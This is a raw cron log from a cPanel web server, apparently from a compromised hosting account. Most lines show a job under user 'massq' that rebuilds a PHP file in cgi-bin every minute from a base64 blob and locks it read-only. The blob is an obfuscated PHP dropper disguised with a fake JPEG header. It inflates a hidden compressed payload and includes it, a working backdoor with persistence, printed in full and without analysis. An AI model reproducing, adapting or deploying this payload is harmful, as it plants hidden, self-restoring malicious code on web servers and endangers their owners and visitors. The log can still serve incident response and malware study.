Nov 12 06:27:01 server CROND[30001]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:28:01 server CROND[30822]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:29:01 server CROND[31918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:30:01 server CROND[32729]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 06:30:01 server CROND[32730]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 06:30:01 server CROND[32732]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:30:01 server CROND[32733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:31:01 server CROND[1226]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:32:01 server CROND[2065]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:33:01 server CROND[2902]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:34:01 server CROND[3721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:35:01 server CROND[4649]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:35:01 server CROND[4650]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 06:35:01 server CROND[4653]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 06:35:01 server CROND[4654]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 06:35:01 server CROND[4655]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:36:01 server CROND[5552]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:37:01 server CROND[6374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:38:01 server CROND[7194]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:39:01 server CROND[8048]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:39:01 server CROND[8049]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 06:40:01 server CROND[9139]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 06:40:01 server CROND[9140]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
